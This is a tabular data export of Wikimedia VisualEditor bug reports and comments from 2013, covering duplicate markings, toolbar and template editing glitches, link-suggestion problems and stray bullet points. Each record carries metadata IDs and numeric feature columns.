*** This bug has been marked as a duplicate of bug 50474 ***",,,1377819444,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tvsxq36upc6ipnvhxpyk,task_subcomment,,True,c1,3,True,,,8,,2.0,0.0,0.0,3.0,2.0,2.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,2.0,12.0,0.0,0.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,3.515151515151515,0.7121212121212122,"This is a duplicate of bug 50474 - in general, any reference created by a template shouldn't work, deliberately. Hacks using {{#tag:ref}} which was never meant to work are a nightmare for users and VisualEditor alike.

*** This bug has been marked as a duplicate of bug 50474 ***"
54467,"VisualEditor: if the title page starts with a dot, VE won't load","http://en.wikipedia.org/wiki/.tl for instance,
if you click on the Edit tab, nothing will happen.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375462920,1375464734.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-wedvkdl2s27csm5sxz7t,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6857142857142855,0.6857142857142857,"URL for instance,
if you click on the Edit tab, nothing will happen.

--------------------------
**Version**: unspecified
**Severity**: normal"
235784,"VisualEditor: if the title page starts with a dot, VE won't load","

*** This bug has been marked as a duplicate of bug 51308 ***",,,1375464734,,PHID-USER-zjzhrhmn36icnzbckqy4,True,,,PHID-TASK-wedvkdl2s27csm5sxz7t,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51308 ***"
235781,"VisualEditor: if the title page starts with a dot, VE won't load","(I believe I just duplicated https://bugzilla.wikimedia.org/show_bug.cgi?id=51308, sorry about that).",,,1375463353,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-wedvkdl2s27csm5sxz7t,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.9166666666666666,(I believe I just duplicated URL sorry about that).
54433,VisualEditor: Toolbar not returning under the tabs,"Toolbar mixed with #p-personal

See the image. And I got the opposite, the toolbar staying at top of the article.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52504
https://bugzilla.wikimedia.org/show_bug.cgi?id=52326

**Attached**: {F11123}",Needs Triage,90.0,1375403700,1375991502.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-klrivpj5pu4qmrhtcgbi,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,6.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.1492537313432836,0.5522388059701493,"Toolbar mixed with #p-personal

See the image. And I got the opposite, the toolbar staying at top of the article.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL

**Attached**: {F11123}"
233850,VisualEditor: Toolbar not returning under the tabs,"This is a duplicate of Bug 52441 which is fixed but not yet deployed

*** This bug has been marked as a duplicate of bug 52441 ***",,,1375991502,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-klrivpj5pu4qmrhtcgbi,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.28125,0.625,"This is a duplicate of Bug 52441 which is fixed but not yet deployed

*** This bug has been marked as a duplicate of bug 52441 ***"
54431,VisualEditor: {{clr}} prevents user from editing content,"1. Got to [[fr:Disjonction logique]]
2. Edit it with VisualEditor
3. Try to modify the table. You will get a big blue rectangle allowing to edit {{clr}}, but you can’t edit directly (clicking on headings and using ↓ works) the <td>.

Of course, there is no reason why this article uses float & {{clr}}, but I know some similar cases where it is useful to have floating tables + {{clr}}.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375401360,1395360523.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-dpkxtqdack6wacscxvhg,task_description,resolved,True,c1,3,False,False,False,4,,1.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.5,4.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,3.5,1.5,1.5,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,8.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,1.0,1.5,1.5,6.5,1.5,3.5,4.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,3.0,4.0,2.0,0.0,0.0,0.0,3.0,0.0,1.5,0.5,0.0,2.5,0.0,0.0,5.0,3.1877313590692755,0.7392913802221046,"1. Got to [[fr:Disjonction logique]]
2. Edit it with VisualEditor
3. Try to modify the table. You will get a big blue rectangle allowing to edit {{clr}}, but you can’t edit directly (clicking on headings and using ↓ works) the <td>.

Of course, there is no reason why this article uses float & {{clr}}, but I know some similar cases where it is useful to have floating tables + {{clr}}.

--------------------------
**Version**: unspecified
**Severity**: normal"
233774,VisualEditor: {{clr}} prevents user from editing content,"

*** This bug has been marked as a duplicate of bug 50551 ***",,,1395360523,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dpkxtqdack6wacscxvhg,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50551 ***"
233769,VisualEditor: {{clr}} prevents user from editing content,"This is related to bug 51933 - an excessively large transclusion box prevents accessing an item it overlaps. It's not identical though as that bug relates to other templates and this to tables, so I'll leave the decision whether to merge up to someone more knowledgeable.",,,1378423467,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dpkxtqdack6wacscxvhg,task_subcomment,,True,c1,3,False,,,9,,0.0,2.0,0.0,2.0,2.0,8.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,4.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,4.431372549019608,0.8627450980392157,"This is related to bug 51933 - an excessively large transclusion box prevents accessing an item it overlaps. It's not identical though as that bug relates to other templates and this to tables, so I'll leave the decision whether to merge up to someone more knowledgeable."
54421,"VisualEditor: Link suggestions sometimes too foreceful, can't select the target you want.","Sometimes when entering a link in the link input widget the first suggested target is automatically inserted, even before you finish typing, making it very difficult to choose a different target.

Steps to reproduce:
1.Load a page in VE
2.Press ctrl+k to enter a link
3.Try to enter a link to [[Portable Document Format]], [[Classic (album)]] or [[Thing (assembly)]].

--------------------------
**Version**: unspecified
**Severity**: critical",Needs Triage,90.0,1375391460,1375391536.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-gbm6kyiyozz73ztd6xzq,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.5,0.5,0.0,5.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,5.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.0,0.5,8.5,0.5,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,5.0,1.5,0.0,0.0,0.0,1.0,0.0,0.5,3.0,0.0,1.5,0.0,0.0,6.0,3.7515082956259427,0.6591251885369533,"Sometimes when entering a link in the link input widget the first suggested target is automatically inserted, even before you finish typing, making it very difficult to choose a different target.

Steps to reproduce:
1.Load a page in VE
2.Press ctrl+k to enter a link
3.Try to enter a link to [[Portable Document Format]], [[Classic (album)]] or [[Thing (assembly)]].

--------------------------
**Version**: unspecified
**Severity**: critical"
233233,"VisualEditor: Link suggestions sometimes too foreceful, can't select the target you want.","Elitre was 25 seconds faster than you ;)

*** This bug has been marked as a duplicate of bug 52420 ***",,,1375391536,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-gbm6kyiyozz73ztd6xzq,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,3.1923076923076925,0.7692307692307693,"Elitre was 25 seconds faster than you ;)

*** This bug has been marked as a duplicate of bug 52420 ***"
54410,VisualEditor: Undoing a larger cut restores selection incorrectly,"- Chrome 30 (canary)
- https://en.wikipedia.org/w/index.php?title=Narayana_Gosain_Temple&oldid=565414421&veaction=edit


When selecting the following:

> <selected>
> h2.Transport
> p.It is situated within 20km from NH5 running between Chennai and Howrah. Nearest railhead is Jajpur Keonjhar Road or Byasanagar.
> h2.References
> references.
> \n
> </selected>
> \n
> h2.External links

.. and cutting it, and then ctrl-Z. It restores both content and selection properly 



When selecting the following:

> 
> h2.Transport
> p.It is situated within 20km from <selected>NH5 running between Chennai and Howrah. Nearest railhead is Jajpur Keonjhar Road or Byasanagar.
> h2.References
> references.
> \n
> \n
> h2.External</selected> links

.. and cutting it and then ctrl-Z. It restores the content properly, but the selection is restored only within the first paragraph:

> 
> h2.Transport
> p.It is situated within 20km from <selected>NH5 running between Chennai and Howrah. Nearest railhead is Jajpur Keonjhar Road or Byasanagar.</selected>
> h2.References
> references.
> \n
> \n
> h2.External links

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375381560,1385398843.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-idjdigelfjcuvhcx24zy,task_description,resolved,True,c1,3,True,False,False,4,,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,21.0,1.0,3.5,3.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,2.5,0.5,12.5,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,3.656716417910448,0.4701492537313433,"- Chrome 30 (canary)
- URL


When selecting the following:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

.. and cutting it, and then ctrl-Z. It restores both content and selection properly 



When selecting the following:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

.. and cutting it and then ctrl-Z. It restores the content properly, but the selection is restored only within the first paragraph:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

--------------------------
**Version**: unspecified
**Severity**: normal"
257652,VisualEditor: Undoing a larger cut restores selection incorrectly,This was fixed in the selection re-writes.,,,1385398843,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-idjdigelfjcuvhcx24zy,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,This was fixed in the selection re-writes.
54374,Stray bullet points around template and strange editing around them,"Screenshot: 2 extra bullet points & template content edited

Browser: Firefox 24

When editing this page[1] on sv-wp two weird things happen:

1) The bullet point on the bottom of the page duplicates into three bullet points

I expect it to show one bullet point, like when viewing the article.


2) I can edit the text of the template used in the list[2], though when I check the diff, it hasn't detected that I edited the template text

I expect the text of the template to show a blue background when clicking on it and *not* be editable.


[1]  https://sv.wikipedia.org/w/index.php?title=Byrackorna&oldid=22981861
[2]  https://sv.wikipedia.org/wiki/Mall:IMDb-titel

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://www.mediawiki.org/wiki/User:Skalman/bullet_point_test

**Attached**: {F11912}",Needs Triage,90.0,1375345320,1468195329.0,PHID-USER-pwsgofaoir7tnszvfzqi,False,PHID-USER-xqqqgn2dels45flxw5kb,False,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_description,duplicate,True,c1,3,False,False,False,4,,0.0,0.0,0.0,0.0,1.0,3.5,0.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,2.5,0.0,3.5,7.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,16.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,6.5,0.5,10.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,3.5,0.0,4.5,7.0,3.0,0.0,0.0,0.0,4.5,0.0,2.0,0.5,0.0,1.5,0.0,0.0,3.0,3.4003501400560223,0.6268207282913165,"Screenshot: 2 extra bullet points & template content edited

Browser: Firefox 24

When editing this page[1] on sv-wp two weird things happen:

1) The bullet point on the bottom of the page duplicates into three bullet points

I expect it to show one bullet point, like when viewing the article.


2) I can edit the text of the template used in the list[2], though when I check the diff, it hasn't detected that I edited the template text

I expect the text of the template to show a blue background when clicking on it and *not* be editable.


[1]  URL
[2]  URL

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F11912}"
255600,Stray bullet points around template and strange editing around them,"This is a known tidy issue, so marking as a duplicate.

*** This bug has been marked as a duplicate of bug 47673 ***",,,1386112687,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,6.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.032258064516129,0.6451612903225806,"This is a known tidy issue, so marking as a duplicate.

*** This bug has been marked as a duplicate of bug 47673 ***"
255598,Stray bullet points around template and strange editing around them,"This is a duplicate of a Parsoid bug that has been WONTFIX'ed, I believe (but I can't find right now) - Gabriel, can you remember which one?

(In reply to comment #4)
> FWIW, even Special:ExpandTemplates seems to be affected by this bug!

… which is a sign that you're abusing wikitext, and should stop trying to get this to work. :-) Special:ExpandTemplates has nothing to do with VisualEditor or Parsoid.",,,1379849577,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,4.0,10.0,1.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,4.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,9.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,4.0,4.0,15.0,1.0,4.0,9.0,0.0,1.0,0.0,1.0,9.0,0.0,3.0,0.0,5.0,10.0,8.0,1.0,0.0,0.0,5.0,0.0,4.0,4.0,0.0,3.0,0.0,0.0,0.0,3.5949367088607596,0.7721518987341772,"This is a duplicate of a Parsoid bug that has been WONTFIX'ed, I believe (but I can't find right now) - Gabriel, can you remember which one?

(In reply to comment #4)
QUOTE

… which is a sign that you're abusing wikitext, and should stop trying to get this to work. :-) Special:ExpandTemplates has nothing to do with VisualEditor or Parsoid."
255595,Stray bullet points around template and strange editing around them,"I believe I found the root cause - demonstrated by a minimal test case: https://www.mediawiki.org/wiki/User:Skalman/bullet_point_test

Wikitext of template:
* {{{1}}}

Wikitext of page:
* {{template|Hello there}}

Expected output (the way the traditional parser handles it):
* Hello there

Note that a naive wikitext template expander would produce:
* * Hello there

To me, this now seems to be a problem with the data model.


FWIW, even Special:ExpandTemplates seems to be affected by this bug!",,,1375486433,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,7.0,0.0,2.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,2.5,3.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,12.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.0,2.0,9.5,1.0,0.0,6.5,0.0,0.0,1.0,0.0,4.0,2.0,0.5,0.0,3.0,7.0,4.5,0.0,0.0,0.0,3.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,3.5377358490566038,0.6981132075471699,"I believe I found the root cause - demonstrated by a minimal test case: URL

Wikitext of template:
* {{{1}}}

Wikitext of page:
* {{template|Hello there}}

Expected output (the way the traditional parser handles it):
* Hello there

Note that a naive wikitext template expander would produce:
* * Hello there

To me, this now seems to be a problem with the data model.


FWIW, even Special:ExpandTemplates seems to be affected by this bug!"
255589,Stray bullet points around template and strange editing around them,Reproduced in Chrome 28 and Opera 12.16.,,,1375394665,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Reproduced in Chrome 28 and Opera 12.16.
255583,Stray bullet points around template and strange editing around them,"And further weirdness:

When I add the text 'ABC' to the first of the now three bullet points I get the following wikitext:

* {{IMDb-titel|id=0105928}}ABC
* ''[ackorna''' (originaltitel ''2 Stupid Byrackorna]'' på [[Internet Movie Database]] <span style=""font-size:.95em;font-weight:bold;color:#555;"">(engelska)</span>
*",,,1375345880,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,13.0,0.0,4.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,10.0,4.114285714285714,0.6857142857142857,"And further weirdness:

When I add the text 'ABC' to the first of the now three bullet points I get the following wikitext:

* {{IMDb-titel|id=0105928}}ABC
* ''[ackorna''' (originaltitel ''2 Stupid Byrackorna]'' på [[Internet Movie Database]] <span style=""font-size:.95em;font-weight:bold;color:#555;"">(engelska)</span>
*"
255577,Stray bullet points around template and strange editing around them,This is probably a ContentEditable problem.,,,1375345435,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,29.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.428571428571429,1.0,This is probably a ContentEditable problem.
54364,drag and drop for text,"Request to introduce drag and drop for text passages; there are also bugs for images around (obviously).

Report:

http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=121095343#Drag_.26_Drop_von_Textabschnitten

--------------------------
**Version**: unspecified
